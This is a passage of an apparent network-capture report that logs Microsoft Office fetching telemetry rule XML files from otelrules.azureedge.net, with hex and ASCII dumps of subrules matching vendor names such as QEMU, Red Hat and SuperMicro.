</S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49823	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:10 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:10 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035310Z-16849878b78fkwcjkpn19c5dsn00000004wg00000000usrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:10 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:11 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:11 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035311Z-16849878b78p8hrf1se7fucxk800000006v000000000cq09 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:11 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49825	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:11 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 055e5760-501e-00a0-45eb-289d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035311Z-r197bdfb6b4zd9tpkpdngrtchw00000005a0000000006bm0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49826	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:11 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:11 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035311Z-16849878b78km6fmmkbenhx76n000000057000000000s4cc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:11 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49827	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:11 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:11 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1d33856d-201e-000c-0612-2979c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035311Z-17c5cb586f6sqz6fff89etrx0800000005q000000000cb41 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:11 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49828	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:11 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:11 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 90a6b530-901e-007b-6be7-28ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035311Z-r197bdfb6b466qclztvgs64z1000000007q0000000000hr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:11 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49829	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:11 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:12 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: ff288f8c-c01e-007a-5a0e-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035311Z-17c5cb586f6hn8cl90dxzu28kw00000005vg00000000f8c1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:12 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49830	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:11 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:12 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:11 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035311Z-16849878b78wv88bk51myq5vxc00000006ag000000004smf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:12 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49831	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:12 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:12 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035312Z-16849878b786jv8w2kpaf5zkqs00000004xg000000005e5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:12 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49832	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:12 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:12 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: fe6c1954-001e-0082-5f6d-285880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035312Z-r197bdfb6b48v72xb403uy6hns00000006eg00000000kyp5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49833	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:12 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:12 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035312Z-16849878b78x6gn56mgecg60qc00000007x00000000004tr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49834	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:12 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035312Z-16849878b785dznd7xpawq9gcn000000078g00000000q8hs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 